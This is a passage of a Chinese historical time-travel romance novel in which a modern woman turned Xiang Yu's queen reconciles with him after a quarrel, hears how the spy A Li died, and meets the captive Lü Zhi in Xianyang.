她哭诉道:“我一个手无缚鸡之力的弱女子,从那样和平安定的年代穿越而来,到了阴谋杀戮的世道,周围全都是带着恶意的陌生人,就好像从仙界坠入了修罗道,难道我不该害怕,不该想办法回家,就该留下来服侍一个恶魔吗?” “恶魔?”项羽眯眼,“你是说我是恶魔?” 虞苋闻言浑身抖了一下,知道自己说错话了,随即仰头,红肿着眼睛和项羽对视:“对,就是恶魔,在我所知道的历史上,你杀降屠城,掳掠财宝和美人,就是一个活生生的杀神,天下谁人不惧怕你?” 项羽气笑了,面色青黑:“原来你本就不想留在我身边。” 倒也不是。 话说得太过火,太伤人了。 明明刚才还好好的,不知道为何就吵起来了。 莫名其妙。 她看对方表情凶凶的,眼泪不知道为何止不住,心中委屈极了,她都说自己害怕了,都不哄哄人,还冷着一张脸,还凶人,不然她也不会不受控制的说伤人的话。 女郎肩膀很是单薄,因为在哭,肩膀抽动,就像是受惊的兔子,超让人怜爱的。 周围很安静,只能听到她的抽泣。 项羽没碰她,心中被她的话伤得千疮百孔,亦未再开口,冷淡的看着她哭。 虞苋率先受不了他的冷漠,眼泪从眼眶中大颗大颗的冒,沿着脸颊的弧度往下巴聚集,又跟线一样滴落。 哭了好一会儿,女郎见项羽没有动静,心中更是难受,忍不住伸手去扯他的衣袖,哽咽道:“是我说错话了,你别生我的气,你别不理我。” 她呜咽道:“你不理我,我很难过。” 项羽看她哭得上气不接下气,心中的怒意被冲淡,他叹了一口气,伸手去擦女郎的脸上的泪水。 虞苋立即扑到他的怀里:“我错了,大王,你抱抱我。” 项羽还没有行动,女郎便拉着他的双臂穿过腋下,让手臂搂着她的腰肢,脸埋在男人的怀中,死死抱住,不愿留下一丝缝隙,娇憨娇憨的。 他问:“委屈了?” 虞苋:“嗯啊。” 项羽感觉女人的身体很软,柔弱无骨,他又后悔刚才没控制住情绪凶了她,喉结不由滚动几下,冷哼一声:“委屈就对了。” 虞苋在对方的怀中,浑身在微微颤抖,感觉到他的怒火消散了些,又忍不住控诉:“我明明有好好给你解释的,你却凶我,你凶我,你还说不是在怨恨我。” 项羽说:“我不想和你吵。” 她害怕他又不理人,赶紧闭嘴,不敢再跟他顶嘴,跟受气包一样。 小情侣之间吵架,什么伤人的话都敢说,毫不顾忌。 两人都没有说话了,都没有松手,呼吸缠绕在一起,女郎的鼻间是对方龙涎香,平复了她心中的委屈和不满。 毕竟是她做错了,还是得自己先低头。 虞苋伸手环住了男人的脖子,残留着泪痕的脸颊往项羽的脖子蹭了蹭,带着点眷念讨好的意味:“大王,我跟你说的话是真心向你解释的,我是当真没有再哄骗你了,我的所有事情都只告诉了大王一人,从未跟他人提及过的,在这个世界上我只相信你,刚才,刚才我说的话都是气话,是我在胡言乱语的,我气急的时候嘴巴没个把门,你不要责怪我,大王,我很喜欢你,我离不开你的,你不要生我的气了,也不要凶我了,好不好,看着你凶我的表情,我很难受。” 说话间语气又开始哽咽。 项羽说:“别哭。” 他的恨是真的,舍不得伤害她,也是真的。 项羽并非不清楚,倘若今晚女郎说的都是真的,她作为一个女人,身处杀戮的世界,想要回去和平盛世很正常。 她有她的立场。 可是虞苋不信任他也是真的,不然也不会害怕“色衰爱弛”。 项羽看着怀中的女郎,真的是又坏又可怜又想让人欺负,刚刚才放了狠话,又马上又能服软,实在是善变。 不对。 与其说是她太过善变,更像是情绪在大起大落后,导致的心绪不稳。 他忍不住叹息。 虞苋小声道:“我不哭了,你还生气吗?” 项羽点头:“当然……” 她睁着一双红红的眼睛看他。 项羽伸手挑起她的下巴,在黑夜中,他却能清晰的看见女郎脸上细细的绒毛,小巧饱满的嘴微张,就像是任人采摘的葡萄。 他说:“当然还在生气。” 不按套路? 不是应该说不生气了吗? 虞苋眨巴眨巴眼睛,软乎乎的继续往对方的怀中凑,欲哭不哭的:“大王,我刚才是真的说错话了,是我在满口胡言乱语……嗯,就算,就算我是有点害怕你,可我更想和你贴贴抱 抱,我,我真的很喜欢你,你不要生气,不要不理我,好不好?” 项羽见她的模样,是又气又无语,原本还不想搭理她,突然感觉怀中之人突然弹起,下一刻鼻子一疼。 被女郎撞到了了鼻子。 他冷冷道:“敢情你说的软话,是为了此刻伤……”我。 话还没有说完,女郎的手攀住他的肩膀,噙住了他的嘴巴。 虞苋含含糊糊道:“大王,我真的错了,不要,不要再凶我。” 唇齿交缠。 好甜。 第85章 第85章“就是不够。”…… 亲了好一会儿,女郎松开手,长睫扇合,湿漉的眼睛看着项羽,不说话,等着对方的回答。 寒冷的冬夜,昏暗的房间,两颗心在起此彼伏的跳动。 项羽有些无奈,伸手触碰虞苋的脸颊,抚摸额头上的细汗,说道:“你让我不要凶你,说话却总是口无遮拦。” 经年累积的怨恨,想要瞬间放下,哪有那么容易? 他可以装作什么事情都没有,却骗不了自己心,一点风吹草动,心脏便如刀割般的疼。 即便是与她拥抱、亲吻,依旧担心这一切都只是自己的做的一个虚妄的梦,是海市蜃楼,害怕此时的幸福是短暂的、虚假的,很快就会消失不见。 项羽的眼神中,带了些许复杂。 男人的指腹划过虞苋的眉眼,轻柔地拂过脸颊,为她将鬓角的碎发挂到耳后。 她心中酥酥麻麻,就像是有蚂蚁爬过,小声道:“我真的知道错了。” 项羽挑眉。 “而且。”他手指向下,指腹擦掉了女郎嘴唇残余的水色,冷静地说道,“你真以为我喜欢你,纯粹是你的一张脸。” 虞苋:“嗯?” 项羽脸上青黑,冷哼一声:“现下还用美色来讨好我,以此让我原谅你当初的所作所为,你把我当成什么人了。” 女郎脸上潮红,闷声闷气道:“可是我以为你喜欢。” 项羽:“……” 看着虞苋可怜巴巴的眼神,他也说不出“不喜欢”这样违心的话。 他垂眸。 “小虞,不可否认,你的确长了一张国色天香的脸,天底下的男人许是没有几人能抵挡得住你的美貌。” “可是。” “如你所说,以色侍人,色衰爱弛,倘若是空有一张脸,你不可能成为我的王后,即便我愿意,我的族人、子民,也不会答应。” 虞苋闻言,怔愣住了。 项羽冷眼看着她,再次开口:“当然我不否认,我最初是被你的脸吸引,不过在你身上,我却逐渐发现了你有而我没有的东西。” 女郎询问:“什么东西?” “对天下人的怜悯。”他自嘲一笑,“这是我没有的。” 项羽继续说道:“倘若你没有出现,我或许的确会成为你口中所说的,一个恶魔。”是眼前之人的出现改变了他的行事作风。 虞苋抿嘴:“你是在给我解释刚才我对你说的话吗?” 她刚才那些说出口的抱怨。 项羽:“显而易见。” 女郎的心胀胀的,小声说道:“可是我这个人没有什么本事,所有能拿出来的东西,都是拾人牙慧。” 项羽说:“你的提议,的确能够利好天下黎民,这便足够,小虞,你不仅是我娶的王后,更是百姓心中认可的王后。” 虞苋:“你在安慰我吗?” 他反问:“你觉得呢?” 虞苋:“我不知道。” 项羽冷静道:“其实你刚才说得没错,当年你选择离开我,在你的立场上而言并没有错,是我没有共情你的处境。” 女郎心虚了,呐呐开口:“大王,我,应该是我没有足够的坦诚。” 项羽笑了:“你我知道的,你若是向我坦诚,你就走不了了。” 虞苋仰头看着项羽,他的五官融在黑暗中,唯有一双眼睛反射着火光,目光里透着复杂的感情。 他是一一给她解释她所在意的事情,是在给她解开她心中的心结吗? 她说:“是我太心急。” “所以。”项羽打断女郎的话,“你还会走吗?” 他说完面上依旧看不出是什么心思,喉结却在滚动了几下,可见心绪并不平静。 “嗯?”虞苋皱眉,“我回不去了。” 感觉周围的气压骤降,就算表现得再好,还是在乎她的真实想法的。 项羽嘴角微压:“回不去了才不走?” “大王,那你可误会我了。”她赶紧解释,“倘若不久还有穿越的时机,那也不能保证我一定能够穿回我成长的时代,或许会和上一次一样,穿到了五年后,十年后,百年后,那还不如乖乖待在大王身边。” 说到此,虞苋垂眸苦笑:“我的确不愿为了情爱而放弃回家之路,可我五年前就已经做了一次选择,也知道了其中的风险,对于我自己,已经有了一个交代,这就够了。” 她眼神坚定:“我给了自己交代,我也想给我的夫君一个交代。” 在黑暗之中,女郎的声音软糯,语气却很认真,抚平了项羽心中那一抹未曾表现出来的慌张。 项羽问:“这句话是你的真心话吗?” 虞苋:“包是真心的。” 项羽双手,“嗯”了一声,看着她的目光中,带了抹笑意。 不走就好。 就算是说谎来搪塞他,也足以让他心中开怀。 虞苋见自己表了这么久的忠心,项羽神色还是淡淡的,一点都不主动,忍不住继续哔哔:“大王,刚才想必你已经猜到了,历史上你会战死,其实,其实我会和你死一起的,就算以后你真的死了,我也不离开你了,我会陪你一起,死也要在一起。” 项羽闻言无语:“就这么想我死?” 他询问:“这天下何人是我对手?就算你们忌惮的刘邦有些本事,不过在来寻你之前,我刚在彭城大败了他集结的四十万大军,短时间内他不是我的对手。” 虞苋眨眼:“那就是能多活两年了。” 项羽捏着她的后颈:“你就不能想点好的。” 她倒是想去想些好点的事,可是当初要杀的刘邦,刘邦没死,要杀的韩信,韩信没死,如此推算,将要在华夏历史矗立几百年的大汉王朝,当然也不会因为自己的出现而被蝴蝶掉。 汉的出现,楚则必亡。 虞苋当然不希望是这样的结局,可是她的直觉告诉自己,刘汉才是天命所归,会成为最终的胜利者。 她说:“大王,总之,不管今后会发生什么事情,我都会和你在一起,我绝对不会再抛弃你了,你信我。” 项羽闻言,睨了她一眼:“倘若我真要是有什么意外,我宁愿你赶紧跑。” 即便自负如他,亦是知道战场刀剑无影,谁都不能保证下一个不是自己。 虞苋上前扯着对方的衣 摆,仰头看他,皱着鼻子闷声闷气道:“我说的是真的,今后无论遇到什么样的事情,我都不走了,都和你一起面对。” 她吸了吸鼻子:“我不是在搪塞你的,大王,夫君,你不要再怨恨我了,原谅我上一次干的离开你的蠢事,好不好?” 之前被韩信寻到之时,她便想到了自戕,以免受到折磨,从那时起,那么怕疼怕死的她,其实已经不是那么畏惧死亡了。 毕竟,在她手中死去之人也不知道有多少,常在河边走那有不沾鞋,她曾经为了自己的性命努力过,当然可以坦然接受未来的任何结局。 因此。 虞苋此番话,是再真不过了。 项羽并不清楚女郎心中真实的想法,眼见之前的一切都已经说开,心中的那股气,在她水润的眼神中完全消散,对她的怨恨,也埋藏在了心中最深处。 他颔首:“好了,别撒娇了。” 虞苋:“嗯?” 项羽伸手弹了她的脑壳,嘴角微勾,下巴抬起:“既然你说到了这份上,我还能怎么办,只能暂时原谅你了。” 虞苋闻言,又有些不满:“就说说而已的原谅,没有其他的行动了吗?”而且什么叫做暂时原谅啊? 项羽反问:“你想要什么行动?” 狗男人长得人高马大,在女郎面前就像是一座小山,偏偏他又不是那种笨重的大块头,他的身上每一处的肌肉都贴合骨骼,薄薄的覆盖在上面,即便是穿着衣裳,依旧能感觉到他身上的力量感。 就像是林中山君,是顶级掠夺者,面对猎物的时候,优雅又闲适。 而女郎在山君面前,就是一只傻乎乎的兔子,别管狩猎者多么的凶残,都准备将她吃了,还在那傻乎乎地凑上去。 虞苋踮起脚,手碰碰自己的嘴唇,眼睛格外的亮:“亲我。” 项羽:“刚才还没有亲够?” “当然不够。”她顿时闷闷不乐,“和大王重逢之后,几次都是我主动亲你,你若是真的原谅我了,你就亲……”我。 唇间的温度一触即离,女郎却哑口,摸着被亲吻的嘴角,眉眼弯弯。 “不够不够,多亲一点。” “是吗?” “就是不够。” 项羽搂着她肩膀,看着火盆里的火星子即将熄灭,时间已经不早了,颔首道:“时间很晚了,别东想西想,快睡觉。” 虞苋:“……好吧。” 她抿嘴,不甘不愿的躺在榻上,并让出了一个位置,说道:“大王,你也睡。” 项羽倒是没有离开:“知道了。” 他上前给女郎盖上了被子,淡定说道:“我就在这里陪着你,哪都不去,睡吧。” 虞苋闻言,胳膊搭在被子上,侧身面对项羽,眼睛直勾勾的盯着对方。 她眼睛睁得很大,在昏暗的房间中,也只能看到他模糊的五官。 还是好看的。 此时此刻,女郎已经将自己所有的秘密托盘而出,在项羽面前不在有隐瞒了,无论他听了她今晚的一番言论有何感想,对于虞苋自己而言,内心前所未来的平和。 虞苋伸手握住了项羽的手,拿在脸颊旁蹭了蹭,便沉沉地睡了过去。 项羽看着女郎的安稳的睡颜,良久,他垂眸,伸手触碰了她的长睫,动作克制,哑声道:“真好,你还在。” 第86章 第86章“他并非失踪,而是在刘…… 翌日清早。 雪水从屋檐下滴落,滴落在坚硬的石板上,溅起了水花。 虞苋刚睡醒,懵懵地坐在床上,身上还盖着被褥,愣了一会儿,懊悔地揉了揉额头上的太阳穴。 昨晚…… 昨晚她似乎一激动,就将所有的事情托盘而出了,关于后世,关于自己。 不过,既然项羽已经知道了穿越之事,那些事情早晚都会跟他说的,不要紧。 只是自己说了这么多,对方似乎对于后世并不算好奇,甚至从她口中猜到自己命不久矣,项羽都没有询问她,自己是怎么死的。 算了。 等再找个时机说吧。 只是像这些在历史留名的人物,谁不是天才,谁又不是英雄,不是翘楚? 她若跟项羽说韩信会设下十面埋伏,并在四周奏起楚歌来乱楚军军心,他因此才会战败,即便逃过了这一劫,韩信自然也会使其他的计策。 他们也算是棋逢对手。 当然,逃过一劫是一劫,虞苋还是会说的。 况且历史上项羽的失败,绝不是他不强,而是因为太强,导致底下人没有发挥才能的机会,才会迫使人才都流向了刘邦。 “醒了。” 虞苋回神,看着走进来的项羽,忍不住道:“当初在霸上,大王就应该杀了刘邦。” 项羽:“怎么又提及此事?” 此时项羽还真没把刘邦看在眼里,就如他昨晚提及的,他刚刚才将对方集结的四十万大军打败,在他眼中,刘邦的大军就跟乌合之众没有什么区别。 虞苋见项羽并不在意,手拖着下巴,抿嘴道:“随口一说。” 项羽眯眼。 她眼睛一转,看见外面的屋檐在滴水,指着道:“大王你看,雪化了。” 项羽点点头:“的确。” 虞苋说:“我还以为可以在这里多待几日。” 外面罕见的出了日头,河面的薄冰也化了,晨曦的光照在水面上,波光粼粼。 众人开始收拾行囊,准备回去咸阳,虞苋也已经洗漱好,吃了早饭。 巳时。 一对人马从远处而来,领头的到了庄子外面下马,外面的士兵进来禀告:“参见大王,参见王后,黎将军来了,正在外面候着。” “黎将军?” 项羽双手叉腰,低头看面上不解的女郎:“是黎晟。” 他解释道:“你离开后,她重新跟着我上战场,立下不少的战功,已经升为将军。” “原来如此。” 战场上自古不缺女人,无论是在项羽的麾下,还是刘邦的麾下,女人从来没有缺席任何一场战争,众人手下皆有女将,对于黎晟能成为将军,倒是一件寻常之事。 项羽跟虞苋解释之后,便朝着士兵颔首:“让她进来吧。” 士兵:“喏。” 士兵刚出去没一会儿,黎晟便进来了,朝着项羽和虞苋叩拜:“末将见过王上、王后。” 项羽淡淡道:“起来吧。” 虞苋却并没有开口,默默地打量她。 尽管五年前,她靠了一些手段将其收服,可两人之间终归是隔着数年的时间,谁知道她现在是怎么想的。 黎晟低头,朝着虞苋稽首,说道:“王后,属下有事要向你禀告。” “嗯?”虞苋疑惑,“什么事?” 黎晟说道:“是关于阿离的事情。” 若是其他人的事情,她不一定会感兴趣,若是关于阿离的事情,她倒是想听听。 当初阿离将她掳走,差点要了她的命,她与对方还有仇未报呢。 项羽见虞苋面上纠结,把空间交给二人,说道:“你们聊吧,我出去看看。” 虞苋:“嗯呐。” 项羽离开之后,她立即询问:“阿离怎么了?” 黎晟说:“阿离已经死了,是为了楚怀王挡刀而死的。” “死了?”倒是可惜,她疑惑道,“那楚怀王呢?” 黎晟回答:“楚怀王如今不知道所踪。” 虞苋有些好奇:“究竟是怎么一回事儿?” 黎晟回答:“五年前,王后秘密前往丹阳,王上随之赶了过去,没多久,就传出你失踪的消息……” 她道:“原本阿离到咸阳的目的,是想找机会离间你和王上的。” 虞苋想到初次见到阿离时的场景,不由揉了揉脑门:“她还能想出什么来离间我与大王?” 黎晟回道:“阿离在咸阳时,猜到了韩信对王后动了私情,原本想要以此离间,得知你带着韩信前往了丹阳,她便赶了过去。” 她知道的倒挺多,不过还是习惯用男女之事,来离间别人的感情,无论是她还是别人。 不管能不能成,的确是膈应人。 虞苋道:“继续说。” 于是黎晟便将自己打探到的,关于阿离的一切,全部都告诉了她。 阿离的身世并不好,实际上在暴秦的统治下,六国的百姓都过的不好,年幼时,她就被小半袋粮食卖成了奴隶。 这个世道,是奴隶,又年幼,阿离连吃食都护不住,常常被其他的奴隶殴打。 黎晟眼圈有些红:“阿离临死前告诉我,当年她差点饿死,是芳华给了她吃的,面对欺负她的坏人,也是芳华张牙舞爪地将她护在了身后,她才能继续活着。” 可是阿离却背叛了黎芳华。 施暴者寻到了阿离,许诺只要阿离杀了黎芳华,以后就不在欺负她,还会将抢到的吃食分给她。 阿离答应了。 那天晚上,星星布满了天空,却看不见月亮,奴隶们躺在露天的地上缩成一团,浑身赃款,眼神也是空洞的。 黎芳华也还是个孩童,见阿离闷闷不乐,用稚气的声音说道:“阿离,不要怕,那些坏人若是在敢欺负你,我就咬死 他们。” 她龇牙咧嘴:“我超凶的。” 阿离说:“芳华,他们说不会再欺负我了。” 黎芳华说:“真的吗?那太好了。” 那一晚,深夜,血腥味散开,黎芳华临死前不可置信的看着她,眼神里带着哀伤。 她轻声说:“他们说,只要你死了,就不杀我了。” 阿离第一次杀人,杀的便是这世上对她唯一释放善意的人。 后来,大概是半年后,阿离反杀了欺负她的奴隶,这一幕刚好被熊心看见,他欣赏她的狠劲,便花钱将她买了下来,让武伯将她培养成细作。 两人年龄相仿,熊心长得俊美,又处于高位,不知是出于对权力的仰望,还是少年御下有方,阿离便在相处间逐渐喜欢上了他,甘愿一次一次为其赴汤蹈火。 她的手段从不拘泥于形式,威逼利诱,或者出卖色相,只要能达成目的,得到心爱之人一句嘉奖的话,她都甘之如饴。 黎晟说:“她认识芳华,知道芳华的一切,才能假扮成小妹,即便是属下都错认了她,也因此让王后因此身陷险境……” 虞苋说:“这已经过去了,不必自责。” 她垂眸,沉默了一会儿,哽咽道:“我曾问她有没有后悔杀了芳华,她却说人各有命,芳华的性子太刚烈,不是死在她的手上,便是死在别人的手上,甚至还说,死在她的手上还免受了折磨。” 有一种恶是天生的。 黎晟的眼中有泪,却没有落下:“她去到丹阳之后,得知了你失踪之事,禀告了楚怀王,楚怀王见势不妙,准备逃走,让阿离继续打探项王的动静。” 项王已经打下了这天下,占据了咸阳,乃是天下第一人,怎么可能容忍头上还有一个楚怀王,他之前答应过王后不动熊心,可是那时候王后已经将项王抛弃,所有的一切都不算了。 她说:“项王要杀楚怀王,阿离知道后,便赶去救人,我跟在她身后,见她为救楚怀王,被人一刀刺穿了腹部,临死前,她看见了我,将一切都告诉了我。” 虞苋说:“没想到她竟然这么容易就死了。” 黎晟垂头:“人之皮肉,本就脆弱,这样的人,死了也好。” 虞苋:“节哀。” 黎晟抹掉眼角的一滴泪:“生离死别我都经历过,我本就已经做好了最坏的准备,只是没有想到芳华竟然死于他人的背叛。” 在血腥里厮杀出来,又死在了血泊之中,阿离的故事,与上层的争斗比起来,不过是尔虞我诈的底层版本,为了活着,可以放弃道义,背叛恩人,做一个纯粹的坏种。 虞苋曾与她交过手,因为自己不设防,甚至着了她的道,如今听闻她已经死了,人死债消,她们的仇怨也就没了。 此时,她只想知道,如今楚怀王到底在哪,毕竟他可是自己的“义弟”呢。 黎晟禀告完阿离的事情之后,跪在了虞苋的面前,垂头稽首说道:“阿离之事,是当初王后前往丹阳时,属下向你请命调查的,属下今日前来告知,是为了当年之事有个交代。” 虞苋点头。 黎晟继续说道:“无论过去了多少年的时间,属下还是一如当初,请王后放心,属下一直是忠于你的,这一点绝不会变。” 当年因为阿离,王后差点失了性命,对方却不曾责怪,还继续重用她,不管当初对方因何原因原谅了自己,她都心生感激。 虞苋一愣,没想到她说了那么多,就是为了这一句话。 她笑了:“我知道了。” 看着黎晟,不由想到了阿离故事中的黎芳华,若是年幼时不曾被害死,或许她也会和黎晟一样,成长为巾帼英雄。 可惜故事永远得不到圆满。 外面的军队已经收拾完毕,时间到了未时,众人准备启程前往咸阳。 虞苋和项羽坐在马车上,手中捧着热茶暖手,询问项羽:“大王,如今熊心在哪,你可知晓?” 项羽原本闭目养神,闻言张开眼睛,瞥了她一眼:“看来黎晟都告诉你了。” 她点头,疑惑道:“你之前不是答应我,先不动他的吗?” 项羽笑了:“小虞,你与他相处过,你知道的,熊心是楚国王室之后,他怎甘心居于旧臣之子之下,即便我尊他为义帝,他依旧不愿受我桎梏。” 他继续道:“况且,当初我叔父刚战死,他就伺机谋夺军权,我原本是想要留着他的性命,可惜你离开后没多久,他便暗中勾结刘邦想要我的命,龙游逆鳞触之即死,否则我又何至于去要他的命。” 虞苋想了想,与熊心了了接触的几面,他的确并非是甘居人下之人。 项羽轻嗤道:“小虞,在你眼中,难不成我便是毫不讲理,肆意要人性命的恶人?” 虞苋:“……” 还以为对方不在意,没想到昨晚她发泄时说的气话,这狗男人倒是记得清清楚楚,才一个晚上,就开始翻起旧账了。 她尴尬地笑了笑:“原来是这样,如此,是熊心咎由自取。” 项羽颔首。 虞苋又忍不住询问:“黎将军说熊心如今失踪了,便是大王,也不知道他的半点消息吗?” “并非。” “嗯?” 项羽疑惑地看着她:“你这么关心他做什么?” 虞苋摇头:“没什么啊。” “他并非失踪,而是在刘邦手上。”他眼睛泄出一抹杀意,皮笑肉不笑,“许是又在预谋如何要我的命。” 难怪…… 难怪明明历史已经更改了那么多,项羽亦没有历史书写的那么残暴,刘邦还是能在彭城集结四十万大军,许是少不了熊心的原因。 毕竟他是项梁还在世时,与起义军共同推出的楚王,占据了大义。 虞苋心一沉。 第87章 第87章“她想让我放了她。”…… 一只手搭在了女郎身上,虞苋抬头,撞到了男人的深沉的目光中。 他说:“不要乱想。” 马车里是密闭的空间,幕帘放下,偶有冷风从细缝中吹进来,倒是没有那么惹人烦闷。 路不够平整,马车时不时的颠簸两下,虞苋看着项羽的侧颜,压下了心中的担忧,挪着屁股到了对方的身旁。 “我不乱想。”她说,“我想你好了。” 说完女郎腼腆一笑,伸手抱住了男人的腰,凑上去蹭了蹭他的脖子。 在感情上,她从不缺主动,喜欢就说出来,从不忸怩。 项羽心中受用,语气却冷淡道:“黏人得紧。” 虞苋没有反驳,靠在对方的身上,闭目假寐,小声说道:“我只黏你啊。” 她被缝隙吹来的风,吹得有些冷,肩膀瑟缩,项羽眉毛微挑:“冷了?” “冷。” 项羽将一旁的毯子披在她的身上,拢了拢她的领口,说道:“冷就多穿一点。” 虞苋闻言皱眉,满脸怨念地看着他。 她当然知道冷了多穿衣,可是这时候,他不应该将她抱紧,用他火热滚烫的躯体给自己取暖吗? 唉。 男人啊。 项羽明知故问:“怎么了?” 虞苋“哼”了一声,松开环抱他腰的手,扭头撇嘴:“没什么。” 项羽见状失笑,伸手将她捞在怀中,捏着她的后颈:“去哪?” 虞苋傲娇的不看人,直到一只大手往下揉着她的腰,她立即回神,就像是恶狗一样扑到了他的身上,啃噬他的喉结。 听到狗男人闷哼一声,她默默地收回牙齿,远离了一些,便见到了对方白皙的脖子上,多出了一块红艳的痕迹。 满意了。 项羽:“……” 女郎餍足的眯眼,将头拱在项羽怀中,羞答答地问:“大王,我困了。” 项羽无语道:“果真是属狗的。” 由于路途遥远,之后的路并不好走,很快虞苋就放弃坐马车,骑马跟在项羽身侧。 在纷乱的世道,路途上常有贼匪。 当然,遇见军队,他们是不敢出来作乱的,不过若有百姓前来求救,项羽也并不会置之不理,皆将作恶者斩杀殆尽。 他说他没有对百姓的怜悯之心,一路走来,虞苋看见的却都是他的好。 残阳的余光照在项羽的身上,金甲反射着刺眼的光,身上的玄衣勾着他高大的身段,地方落下颀长的身影,看得晃眼间,君王手中之剑挥之而出,匪首来不及反应便已身首分离。 血流着。 他身后是条大河,河面上浮光掠金,而他淡定的拿出手帕擦拭剑身,随后入鞘。 如画中人。 虞苋下马,走过去,到了项羽面前,伸手接过他的剑:“我帮你拿。” 项羽说:“不嫌脏?” 她眼睛一弯:“不脏。” 惩奸除恶之刃,不仅不脏,还是一把好剑。 接下来,军队走走停停,走了半个月才回到咸阳。 冬季已经过去了一大半,再过一月,就是立春了,立春过后,又将是一年春耕的开始。 秦王宫中种植的梅花,在冬日傲然挺立,红得格外的艳丽。 到了咸阳之后,还有很多的事情需要项羽去处理,于是他变得越加的繁忙。 在此期间,关于项王找回虞后的消息,也从咸阳,一路扩散至整个天下。 虞后失踪前,关于农事,提出了一条非常妙的主意,便是让官员推广亩产量大,耐旱耐涝的粮食。 项王让官员将此策落实下去,五年间,楚地的百姓实实在在感觉到了手上的粮食多了,少挨饿了。 民以食为天,因此虞后在百姓中的地位并不低,如今失踪的王后回来了,自然能引起躁动。 而自从虞苋回到咸阳之后,便有不少人想要求见于她,她都全部推脱不见。 除了一人例外。 在梅林之中,略显沧桑的吕雉对着她行礼,恭敬道:“虞后,好久不见。” 虞苋起身做了请的姿势:“坐吧。” 吕雉便坐在了她的对面,正襟危坐,宽大的衣裳盖住了她瘦弱的身材,面上依旧是不卑不亢的。 她开口道:“虞后,时隔五年未见,你还是一如初见。” 说着吕雉抬手抚上了自己的眼角,上面已经出现了几道细纹:“而我已经不在年轻了。” 虞苋说:“你在这里吃了很多苦吧?” 闻言,吕雉一愣。 至从刘邦反了项王,项羽便派人将刘邦的亲眷全部都抓了起来,曾用过他们的性命威胁刘邦投降,而刘邦都未曾松口。 好在项王说归说,还是在别人的劝说下,留下了他们的性命。 两方阵营交战,皆有死伤,昨日还并肩作战的弟兄们,今日可能就战死沙场,结的是死仇。 她即便是苟全了性命,也是时刻受人白眼,日子自是难过的,可作为汉王之妻,她不能失了风骨。 这还是吕雉被掳来数年里,第一次有人问她,是不是吃了很多苦。 吕雉垂眸:“项王看上去凶神恶煞,倒未曾对我有过为难。” 虞苋打量着眼前的妇人,穿着朴素,浑身却打理得干干净净,面容多了几分柔和,看上去温和无害。 很难让人想象得到,眼前之人将会执政天下,成为秦末汉初,唯一一位被写进《帝王本纪》的绝对大女主。 毕竟人不可貌相。 虞苋说:“想必夫人应该听说过,我曾派兵截杀沛公,可惜被他逃了,你作为他的妻子,为何还敢来求见我。” 她补充道:“按理说,我回来了,不管有多少人下注两家,力保你的性命,我都应该杀了你。” 吕雉面上冷静,指尖却捏紧了茶杯,随后抿了口茶水:“我不过一个妇人,虞后为何要杀我?” 虞苋看着天,随后目光移向她,认真地说:“因为我斗不过你。” 她说:“现在你是阶下囚,落在了项王手里,杀了你才是一劳永逸。” 吕雉抬头,与虞苋对视,从她的眼神中看到了杀意,此言看上去并非是说说而已。 周围气氛凝固。 终于。 虞苋呼出了一口气,笑着说道:“别紧张,我就说说罢了,你死不了。” 不是不想杀,是杀不死的。 吕雉松了口气。 虞苋抬头看了一眼天空,此时万里无云,日光照在人身上很暖,她拿起案几上的茶杯润了润嘴唇,语气带着一些冷淡:“楚汉之间,总归会决出一个胜利者,项王和汉王,谁都不会甘愿臣服,总有一个人会死,显然天下的士人都看得明白,两头下注的家族可不再少数,此时你的地位本不输于我。” 她继续说道:“若非项王抓你前来,如今你也不会沦落于此。” 尽管刘邦刚在彭城落败,吕雉对此亦有所耳闻,可她作为汉王的正妻,自是不可能唱衰自己的夫君,便道:“未到最后,胜负之事,犹未可知。” “我的话,不是讽刺汉王落败,我和你一样,始终认为,只要汉王还活着,胜负的确尚未可知。”虞苋语气很平静,“说说吧,你来求见我,是所谓何事?” 吕雉看着虞苋的眼睛,此时,这双双眼睛澄净如湖水,似乎一切都看得分明。 她不再隐瞒:“我来,原本是想请虞后求情,请求项王放了我。” 虞苋疑惑:“你凭什么认为,我会为你求情?” 吕雉笑了笑,实话实说:“我不过姑且一试,成了自然是好,不成,虞后回来只接见了我,在你面前露了脸,即便旁人不知道你与我说了什么,亦会对我客气些。” 刘邦压根就不管被项羽掳掠的亲眷,即便是自己的父亲,也是一副随便项羽怎么办的模样,项羽的确是拿他们没有办法。 不过刘邦看上去什么都不管,实际上很清楚,项羽是不会真的杀了吕雉的。 而这一点,不仅是刘邦,其他人也都看得分明。 唯一的变数就是虞苋了,她几次三番都未按照常理出手。 刘邦、张良、樊哙等人在霸上的鸿门宴上,已经见识过她的手段,对于政治对手,她比项羽出手更狠辣,当时她可是真的下了死手。 若非刘邦命大,当年,他就会死在骊山小道。 而吕雉在虞苋还只是项羽的侍妾时,也与之见过面,当然也知道对方不好对付,别人是走一步看一步,她似乎是走一步看十步,所有的事情都逃不过她的眼睛。 此时与对方面对着面,这样的感觉更甚,即便吕雉面上不显,心中对于虞苋,已然越加的忌惮。 下一刻,她耳朵一动,悦耳之音传来。 虞苋道:“我可以为你求情,让大王放了你。” 吕雉面上微怔,求证道:“真的?” “真的。”她笑了笑,“不过,不保证能成。” 吕雉见刚才还说应该杀了她之人,却如此干脆的答应了她的请求,不由疑惑道:“虞后为何帮我?” 原本刘太公和吕雉只被掳了三年,不过许是历史产生了偏差,项羽没有和刘邦鸿沟义和,因此他们便也在楚营待了五年。 虞苋淡定道:“刚才我说过的,楚汉之间的争端,最终会决出胜者,两军打仗,胜败乃兵家常事,谁知道最后谁能笑到最后,今日项王势大,明日汉王就支棱起来了,我答应你是为了将来,倘若我有一日死了,希望夫人能记得今日,给予一些尊重。” 不过都是在为后事做准备罢了。 她不想被分尸,被剁成肉泥,想想就觉得可怕。 吕雉朝着虞苋稽首:“多谢虞后,不管成不成,此事我都将记在心中。” 虞苋颔首:“吃茶,赏梅吧。” 不过说来,此时刘邦身边,已经有了戚夫人,刘如意也出生了,把吕雉放回去,不知以她的心机,是忍,还是去斗? 涉及到继承人,吕雉可会忍? 若是刘邦后院起火,说不定能牵制他一二,总比让吕雉 继续留在咸阳要强。 这才是虞苋答应的原委。 戌时。 虞苋沐浴更衣之后便坐在案几前,四周点了无数的蜡烛,烛火将整个宫殿照得如同白昼。 她的手中拿着竹简,上面是让项羽拿给她的,关于她离开的五年,楚国的财政收入账目。 出身商贾之家,对于账本的敏感,是与生俱来的。 即便知道结局,该做的事情她还是要做的,若是上位者因此放任,而遭罪的便是底层人。 若是多做些好事,就算违抗不了天命,他们会不会因此有一个好的结局呢。 希望吧。 